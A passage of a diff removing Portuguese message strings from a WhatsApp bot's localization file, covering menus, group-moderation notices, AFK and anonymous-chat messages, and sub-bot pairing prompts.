-const smsParaAdYOw = () => { return `PARA ADMINISTRADORES E CRIADORES: CHATS`}
-const smsParaOw = () => { return `PARA CRIADOR: CHATS`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `COMANDO`}
-const smsMens2 = () => { return `ATUALMENTE`}
-const smsMens3 = () => { return `NESTE`}
-const smsMens4 = () => { return `BOT`}
-const smsMens5 = () => { return `Bate-papo`}
-
-//Error2
-const smsMensError1 = () => { return `❕COMANDO DE RELATÓRIO ❕`}
-const smsMensError2 = () => { return `O seguinte comando está falhando`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*NADA PODE SER ESCONDIDO* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ NOVO NÍVEL 🎖️`}
-const smsAutoLv2 = () => { return `NÍVEL ANTERIOR:`}
-const smsAutoLv3 = () => { return `NÍVEL ATUAL:`}
-const smsAutoLv4 = () => { return `ALCANCE:`}
-const smsAutoLv5 = () => { return `DATA:`}
-const smsAutoLv6 = () => { return `Você atingiu um novo nível!!!`}
-const smsAutoLv7 = () => { return `🥳 RECOMPENSA PELO SEU NOVO NÍVEL`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*O VÍDEO NÃO DEVE DURAR MAIS DE 7 SEGUNDOS.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*SAIR DO GRUPO!!! 🤝 SE VOCÊ QUER VOLTAR, USE O COMANDO _#bottemporal_ PARA VOLTAR AO GRUPO!!*`}
-const smsBottem2 = () => { return `*💕 ASSISTÊNCIA AO USUÁRIO*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `VEJO VOCÊ EM BREVE 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡SEU TEMPO PREMIUM ACABOU!* 🎟️\n*PARA OBTER UM NOVO PASSE PREMIUM USE O COMANDO:*\n*#pass prem*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `*VOCÊ DEIXOU DE SER INATIVO AFK*`}
-const smsAfkM2 = () => { return `\n*O MOTIVO DA INATIVIDADE FOI:*\n`}
-const smsAfkM3 = () => { return `⏳ *TEMPO OCIOSO:*`}
-const smsAfkM4 = () => { return `*NÃO MARQUE ESTE USUÁRIO!! ESTÁ INATIVO*\n`}
-const smsAfkM5 = () => { return `*MOTIVO PARA INATIVIDADE AFK:*\n`}
-const smsAfkM6 = () => { return `*MOTIVO PARA INATIVIDADE AFK:\nNÃO ESPECIFICOU O MOTIVO DA INATIVIDADE*`}
-const smsAfkTime = () => { return [['dias'], ['horas'], ['minutos'], ['segundos']] }
-const smsAfkResultTime = smsAfkTime()
-
-//afk-afk.js
-const smsAfkQ1 = (usedPrefix, command) => { return `${lenguajeGB['smsAvisoMG']()}*ESCREVA A RAZÃO PELA QUAL ESTÁ INATIVO (AFK)*\n\n*EXEMPLO:*\n*${usedPrefix + command}* vou fazer lição de casa`}
-const smsAfkQ2 = () => { return `${lenguajeGB['smsAvisoMG']()}*MÍNIMO DE 10 CARACTERES DEVEM SER A RAZÃO*`}
-const smsAfkM1A = () => { return `*NÃO ETIQUETE A*`}
-const smsAfkM1B = () => { return `*VAI ESTAR INATIVO AFK*\n\n*MOTIVO PARA INATIVIDADE AFK:*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*VOCÊ NÃO ESTÁ NO CHAT ANÔNIMO*`}
-const smsChatAn2 = () => { return `*SE QUISER INICIAR UM CHAT ANÔNIMO USE O COMANDO #start OU ACESSE O BOTÃO ABAIXO*\n`}
-const smsChatAn3 = () => { return `⚡ INICIAR CHAT ANÔNIMO`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *VOCÊ SAIU DO CHAT ANÔNIMO*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*O OUTRO USUÁRIO SAIU DO CHAT ANÔNIMO*`}
-const smsChatAn6 = () => { return `*SE QUISER IR PARA OUTRO CHAT ANÔNIMO USE O COMANDO #start OU ACESSE O BOTÃO ABAIXO*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*VOCÊ AINDA ESTÁ EM UM CHAT ANÔNIMO OU ESPERANDO QUE ALGUÉM ENTRE NO CHAT*`}
-const smsChatAn8 = () => { return `*SE QUISER SAIR DO CHAT ANÔNIMO USE O COMANDO #leave OU VOCÊ PODE USAR O BOTÃO ABAIXO*\n`}
-const smsChatAn9 = () => { return `🍁 SAIR DO CHAT ANÔNIMO`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *ELES PODEM CONVERSAR AGORA*`}
-const smsChatAn11 = () => { return `*ALGUÉM ENTROU NO CHAT ANÔNIMO!!*`}
-const smsChatAn12 = () => { return `❇️ OUTRO USUÁRIO`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *ESPERANDO ALGUÉM ENTRAR NO CHAT ANÔNIMO, SEJA PACIENTE*`}
-
-//Botones de Menú
-const smsBotonM1 = () => { return `⚡ MENU INICIAR ⚡`}
-const smsBotonM2 = () => { return `💫 MENU COMPLETO 💫`}
-const smsBotonM3 = () => { return `🎒 INVENTÁRIO 🎒`}
-const smsBotonM4 = () => { return `USUÁRIOS`}
-const smsBotonM5 = () => { return `VARIAR`}
-const smsBotonM6 = () => { return `NÍVEL`}
-const smsBotonM7 = () => { return `PREMIUM`}
-const smsTex1 = () => { return '*MENU DE PESQUISA*'}
-const smsTex2 = () => { return '*MODIFICADOR DE ÁUDIO*'}
-const smsTex3 = () => { return '*MENU +18*'}
-const smsTex4 = () => { return '*CONTEÚDO DINÂMICO*'}
-const smsTex5 = () => { return '*PESQUISE E BAIXE*'}
-const smsTex6 = () => { return '*MENU +18 PREMIUM*'}
-const smsTex7 = () => { return '⠇ *Imagens +18 qualidade e variedade*\n⠇ *Vídeos +18 só para você*\n⠇ *Adesivos +18 disponíveis*'}
-const smsTex8 = () => { return '*MENU DO CONVERSOR*'}
-const smsTex9 = () => { return '*MENU DE DOWNLOADS*'}
-const smsTex10 = () => { return '*MENU DE JOGOS DINÂMICOS*'}
-const smsTex11 = () => { return '*MENU PARA GRUPOS*'}
-const smsTex12 = () => { return '*MENU DE FERRAMENTAS*'}
-const smsTex13 = () => { return '*MENU DE INFORMAÇÕES*'}
-const smsTex14 = () => { return '*MENU DE EFEITOS E LOGOTIPOS*'}
-const smsTex15 = () => { return '*MENU DE LOGOTIPOS 2*'}
-const smsTex16 = () => { return 'MENU DE ÁUDIO'}
-const smsTex17 = () => { return '*NÃO É NECESSÁRIO USAR PREFIXO NOS ÁUDIOS*'}
-const smsTex18 = () => { return 'LISTA DE ÁUDIO'}
-const smsTex19 = () => { return '*VOCÊ PODE SELECIONAR O ÁUDIO!!*'}
-const smsTex20 = () => { return '*MENU DO PROPRIETÁRIO*'}
-const smsTex21 = () => { return '*RPG MENU*'}
-const smsTex22 = () => { return '*MENU DE ADESIVOS E FILTROS*'}
-const smsTex23 = () => { return '*MEMES ALEATÓRIOS E MENU DE ANIME*'}
-
-//info-grupos-lista.js
-const smsLisA = () => { return '_*Está nesses grupos:*_'}
-const smsLisB = () => { return '*✦ Grupos totais:*'}
-const smsLisC = () => { return '*✦ Grupos:*'}
-const smsLisD = () => { return '*✦ id:*'}
-const smsLisE = () => { return '*✦ participantes:*'}
-
-//ad
-const smsMalused = () => { return '⚡ *USE O COMANDO ASSIM:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *VOCÊ DEVE USAR O COMANDO COMO ESTE EXEMPLO:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *VOCÊ DEVE USAR O COMANDO OU RESPONDER À MENSAGEM DE ALGUÉM COMO ESTE EXEMPLO:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_GRUPO ABERTO EM UMA HORA_*'}
-const smsGrupoTime2 = () => { return '🔒 *_FECHAR GRUPO EM UMA HORA_*'}
-const smsGrupoTime3 = () => { return '*GRUPO'}
-const smsGrupoTime4 = () => { return 'FECHADO'}
-const smsGrupoTime5 = () => { return 'ABRIR'}
-const smsGrupoTime6 = () => { return '*DURANTE'}
-const smsGrupoTime7 = () => { return '🔒 *O GRUPO ESTÁ FECHADO, APENAS OS ADMINISTRADORES PODEM ENVIAR MENSAGENS*'}
-const smsGrupoTime8 = () => { return '🔓 *O GRUPO ESTÁ ABERTO, TODOS PODEM ENVIAR MENSAGENS*'}
-const smsGrupoTime9 = () => { return '🔓 GRUPO ABERTO DURANTE '}
-const smsGrupoTime10 = () => { return '🔒 FECHAR GRUPO DURANTE '}
-const smsGrupoTime11 = () => { return ' HORA'}
-const smsGrupoTime12 = () => { return 'PERMITIR QUE O GRUPO TENHA PASSADO '}
-const smsGrupoTime13 = () => { return 'PERMITIR QUE O GRUPO FECHE '}
-
-//grupo-add.js
-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*NÃO É POSSÍVEL ADICIONAR NÚMERO, POR FAVOR VERIFIQUE SE ESTÁ CORRETO, TALVEZ SEJA RECENTEMENTE OU SUA PRIVACIDADE ESTÁ DEFINIDA.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*NÃO É POSSÍVEL ADICIONAR O NÚMERO, VERIFICAR SE ESTÁ CORRETO OU ADICIONAR MANUALMENTE.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*NOTIFICAÇÃO PARA ADMINISTRADORES*`}
-const smsAddB4 = () => { return `*PRESENÇA ADMINISTRATIVA*`}
-const smsAddB5 = () => { return `*MENSAGEM:*`}
-const smsAddB6 = () => { return `Solicito aos admins, por favor.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*SÓ PODE USAR SE A FUNÇÃO ESTIVER ATIVADA:*\n`}
-const smsAdveu2 = () => { return 'Razão'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*LEMBRE-SE DE ESCREVER O MOTIVO DO AVISO*\n`}
-const smsAdveu4 = () => { return '*RECEBI UM AVISO NESTE GRUPO!!*'}
-const smsAdveu5 = () => { return 'AVISO'}
-const smsAdveu6 = () => { return '🎒 INVENTÁRIO'}
-const smsAdveu7 = () => { return '*EU TE AVISEI VÁRIAS VEZES!!*'}
-const smsAdveu8 = () => { return '*AGORA VOCÊ SERÁ EXCLUÍDO* 🙄'}
-const smsAdveu9 = () => { return '😇 OBRIGADA'}
-const smsAdveu10 = () => { return '*UM AVISO FOI REMOVIDO NESTE GRUPO!!*'}
-const smsAdveu11 = () => { return 'Antes da:'}
-const smsAdveu12 = () => { return 'Agora:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return `*O NÚMERO É INVÁLIDO, TENTE NOVAMENTE RESPONDER A MENSAGEM DE ALGUÉM OU USE COMO ESSE EXEMPLO:*\n`}
-const smsDemott2 = () => { return '*AGORA TEM PODER NO GRUPO!!*'}
-const smsDemott3 = () => { return '*NÃO TEM MAIS PODER NO GRUPO!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*INFORMAÇÕES DO GRUPO*'}
-const smsGI2 = () => { return '*ID DO GRUPO*'}
-const smsGI3 = () => { return '*NOME DO GRUPO*'}
-const smsGI4 = () => { return '*DESCRIÇÃO DO GRUPO*'}
-const smsGI5 = () => { return '*SEM DESCRIÇÃO*'}
-const smsGI6 = () => { return '*NÚMERO DE USUÁRIOS*'}
-const smsGI7 = () => { return '*Usuários*'}
-const smsGI8 = () => { return '*CRIADOR DO GRUPO*'}
-const smsGI9 = () => { return '*ADMIN DO GRUPO*'}
-const smsGI10 = () => { return '⚙️ CONFIGURAÇÕES DE GRUPO'}
-
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*MARQUE A PESSOA OU RESPONDA A MENSAGEM DA PESSOA QUE DESEJA EXCLUIR*\n\n*EXEMPLO: `}
-const smskick2 = () => { return `REMOVIDO 😼🫵`}
-const smskick3 = () => { return `NÃO CONSIGO EXCLUIR O CRIADOR DO GRUPO 😆🫵`}
-const smskick4 = () => { return `NÃO ESTÁ NESTE GRUPO 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ CONVOCANDO O GRUPO ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*A DESPEDIDA DO GRUPO ESTÁ CONFIGURADA*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCREVA A MENSAGEM DE ADEUS_*\n*_OPCIONAL VOCÊ PODE USAR WHAT IS COM "@" PARA ADICIONAR MAIS INFORMAÇÕES:_*\n\n*⚡ @user (Menção ao usuário)*\n\n*LEMBRE-SE QUE O "@" É OPCIONAL*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*AS BOAS-VINDAS DO GRUPO FOI CONFIGURADA*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCREVA A MENSAGEM DE BEM-VINDO_*\n*_OPCIONAL VOCÊ PODE USAR WHAT IS COM "@" PARA ADICIONAR MAIS INFORMAÇÕES:_*\n\n*⚡ @user (Menção ao usuário)*\n*⚡ @subject (Nome do grupo)*\n*⚡ @desc (Descrição do grupo)*\n\n*LEMBRE-SE QUE OS "@" SÃO OPCIONAIS*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*A DESCRIÇÃO DO GRUPO FOI CONFIGURADA*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*O NOME DO GRUPO FOI DEFINIDO*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 ESCREVA O NOME DO NOVO GRUPO*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*O NOME DO GRUPO NÃO DEVE TER MAIS DE 25 CARACTERES*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*O LINK DO GRUPO FOI REINICIALIZADO*`}
-
-//Button
-const smsSig = () => { return `➡️ PRÓXIMO ➡️`}
-const smsSigPrem = () => { return `❤️🔥 PRÓXIMO ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *CONTEÚDO* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 CONTEÚDO 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *CONTEÚDO ❤️🔥 PRÊMIO* 🌟`} //texto
-const smsCont18PornP2 = () => { return `CONTEÚDO ❤️🔥 PRÊMIO`} //texto
-
-//propietario(a).js
-const smsJoin = (user) => { return `${packname}\n𝙀𝙎 𝙐𝙉 𝘽𝙊𝙏 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙌𝙐𝙀 𝙏𝙀 𝘼𝙔𝙐𝘿𝘼𝙍𝘼 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝘿𝙄𝙁𝙀𝙍𝙀𝙉𝙏𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙄𝘿𝘼𝘿𝙀𝙎 🪄 𝘼𝙇 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝙊 𝙂𝙍𝙐𝙋𝙊 𝙔 𝙏𝘼𝙈𝘽𝙄𝙀𝙉 𝙏𝙀 𝙑𝘼𝙎 𝘼 𝘿𝙄𝙑𝙀𝙍𝙏𝙄𝙍 🎈 𝘾𝙊𝙉 𝙎𝙐𝙎 𝙈𝙐𝙇𝙏𝙄𝙋𝙇𝙀𝙎 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝙀𝙎, 𝘿𝙄𝙎𝙁𝙍𝙐𝙏𝘼 𝘿𝙀 𝙂𝘼𝙏𝘼𝘽𝙊𝙏!!! 😸\n\n💖 𝙂𝘼𝙏𝘼𝘽𝙊𝙏 𝙁𝙐𝙀 𝙄𝙉𝙑𝙄𝙏𝘼𝘿𝘼 𝙋𝙊𝙍:\n@${user}`}
-const smsJoin1 = (usedPrefix, command) => { return lenguajeGB['smsAvisoMG']() + `*INGRESE EL ENLACE DE UN GRUPO*\n*EJEMPLO:*\n*${usedPrefix + command}* ${nna}`}
-const smsJoin2 = () => { return lenguajeGB['smsAvisoEG']() + `${packname}\n*SE HA UNIDO AL GRUPO ✅*`}
-
-//propietario(a.js
-const smsPropban1 = (usedPrefix, command, bot) => { return `${lenguajeGB['smsAvisoMG']()}*ETIQUETE A ALGUIEN O RESPONDA AL MENSAJE DEL USUARIO O ESCRIBA EL NÚMERO QUE QUIERE BANEAR DE LOS COMANDOS*\n\n*EJEMPLO:*\n*${usedPrefix + command} @${bot}*`}
-const smsPropban2 = (bot) => { return `${lenguajeGB['smsAvisoFG']()}*@${bot} NO PUEDE SER BANEADO CON ESTE COMANDO* 😹`}
-const smsPropban3 = (ownerNumber) => { return `${lenguajeGB.smsAvisoIIG()}😳 *NO PUEDO BANEAR AL OWNER @${ownerNumber} DE ${packname}*`}
-const smsPropban4 = (number) => { return `${lenguajeGB.smsAvisoIIG()}*NO ES NECESARIO VOLVER A BANEAR A @${number} SI YA LO ESTÁ* 😊`}
-const smsPropban5 = () => { return `${lenguajeGB['smsAvisoEG']()}*USUARIO BANEADO CON ÉXITO* 🙀`}
-const smsPropban6 = (number, usr) => { return `${lenguajeGB.smsAvisoAG()}*@${number} ESTAS BANEADO/A POR @${usr} NO PUEDES USAR LOS COMANDOS HASTA QUE ALGUIEN REVIERTA EL BANEO* 😿`}
-const smsPropban7 = (usedPrefix, command, number) => { return `${lenguajeGB['smsAvisoFG']()}*SURGIÓ UN ERROR, PUEDE SER QUE EL USUARIO NO ESTE EN MI BASE DE DATOS INTENTE ESCRIBIR ${usedPrefix + command} ${number}*\n\`\`\`SI EL ERROR CONTINÚA REPORTE ESTE COMANDO\`\`\``}
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*Responda à mensagem ou escreva a mensagem usada ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*Enviou mensagem oficial, espere um momento ... *`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ * A mensagem foi enviada ${totalPri} para bate -papos Tempos de envio totais privados: ${time}*\n${totalPri >= 3000 ? '\n* Eles não foram enviados para todos os bate -papos para evitar a saturação*' : ''}`}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *Mensagem *`}
-const smsBCbot2 = () => { return `Privado`}
-const smsBCbot3 = () => { return `Conjunto`}
-const smsBCbot4 = () => { return `Total`}
-const smsBCbot5 = () => { return `Tempo total de envio:`}
-const smsBCbot6 = () => { return ` Eles não foram enviados para todos os bate -papos para evitar a saturação`}
-const smsBCbot7 = () => { return `✅ *Declaração oficial ✅`}
-
-//propietario(a).js
-const smsChatGP1 = () => { return "*Mensagem enviada, espere um momento...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *declaração oficial * ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ *A mensagem foi enviada para ${totalGP} grupos*`}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*⊹ • • • ミ★ ${global.packname} ミ★• • • ⊹*\n\n*ღ Versão de ${global.packname} » _${global.vs}_*\n*ღ Versão JadiBot » _${global.vsJB}_*\n\n🟢 *_FUNÇÃO SER SUB BOT_* 🟢\n\n*➡️ Com outro celular ou PC, escaneie este QR para se tornar um Sub Bot*\n\n*1️⃣ Vá para os três pontos no canto superior direito*\n*2️⃣ Vá para a opção Dispositivos emparelhados*\n*3️⃣ Escaneie este código QR para fazer login*\n\n📢 *¡Este código QR expira em 45 segundos!*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*ESTE COMANDO ESTÁ DESATIVADO PELO MEU PROPRIETÁRIO*`}
-const smsJBPrincipal = () => { return `${lenguajeGB['smsAvisoAG']()}🔵 *PARA SER UM SUB BOT VAI AO NÚMERO PRINCIPAL*\n*ღ Entre no seguinte link:*\n`}
-const smsJBConexion = () => { return `${lenguajeGB['smsAvisoFG']()}🟡 *A CONEXÃO FOI FECHADA DE FORMA INESPERADA, TENTAREMOS RECONECTAR...*`}
-const smsJBConexionClose = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *A CONEXÃO FOI FECHADA, VOCÊ DEVE CONECTAR MANUALMENTE ATRAVÉS DO #jadibot COMANDO E ESCANEAR O NOVO CÓDIGO QR*`}
-const smsJBConexionTrue = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *CONEXÃO COM SUCESSO!!!*`}
-const smsJBConexionTrue2 = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *CONEXÃO COM SUCESSO!!! VOCÊ PODE SE CONECTAR USANDO:*`}
-const smsJBCargando = () => { return `${lenguajeGB['smsAvisoIIG']()}⚪ *ESTÁ CONECTADO!! AGUARDE AS MENSAGENS ESTÃO CARREGANDO...*\n\n♻️ *OPÇÕES DISPONÍVEIS:*\n*» #stop _(Recurso Parar Subbot)_*\n*» #deletesesion _(Exclua todos os vestígios de Sub Bot)_*\n*» #jadibot _(Obtenha um novo código QR para ser Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *LINK ÚTIL*`}
-const smsJBInfo2 = () => { return `💖 *A função é estável, se apresentar algum inconveniente Entre em contato com o e-mail: centergatabot@gmail.com*\n💝 *Você pode fazer uma doação voluntária pelo PayPal: ${global.paypal}*\n\n*Muito obrigado pelo apoio ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*USE ESTE COMANDO PARA O BOT PRINCIPAL*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*VOU SENTIR SAUDADES ${global.packname} TCHAU!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*VOCÊ SAIU E EXCLUIU TODOS OS RASTREIOS*`}
-const smsJBErr = () => { return `*YOU HAVE LOGGED OUT AS A SUB BOT* ♻️`}
-
-//comandos+18-adult.js
-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*OS COMANDOS 🔞 ELES ESTÃO DESATIVADOS, SE VOCÊ FOR MEU CRIADOR, USE #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `Não tem o suficiente `}
-const smsList2 = () => { return `\nClique aqui para comprar `}
-const smsList3 = () => { return `Conteúdo disponível 😸`}
-const smsList4 = () => { return `Conteúdo não disponível 😿\nClique aqui para comprar `}
-const smsList5 = () => { return `*Selecione uma opção*\n*Da lista para ver o*\n*conteúdo* 😋`}
-const smsList6 = () => { return `👀 VER LISTA 👀`}
-
-//descargas-consejos.js
-const smsConj = () => { return `🍃 NOVO CONSELHO`}
-const smsFras = () => { return `🍃 NOVA FRASE`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' Sou ' + packname + ' um WhatsApp Bot dedicado a ajudar com o que você pedir 😎'}
-const smsContacto2 = () => { return 'Eu sou o dono da ' + packname + ' se você tiver alguma dúvida, você pode me dizer ✌️'}
-const smsContacto3 = () => { return '👑 Proprietário'}
-const smsContacto4 = () => { return 'Contato Oficial GataBot 🐈'}
-const smsContacto5 = () => { return '🐣 Como posso ajudá-lo?'}
-const smsContacto6 = () => { return 'Eu não tenho correio 🙏'}
-const smsContacto7 = () => { return '🌎 Global'}
-const smsContacto8 = () => { return 'Esta conta é bot 👀'}
-
-
-export default { lenguaje, smsConexioncerrar, smsConexionperdida, smsConexionreem, smsConexionreinicio, smsConexiontiem, smsConexiondescon, smsAvisoRG, smsJoin, smsJoin1, smsJoin2, smsPropban1, smsPropban2, smsPropban3, smsPropban4, smsPropban5, smsPropban6, smsPropban7, smsLisA, smsLisB, smsLisC, smsLisD, smsLisE, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, 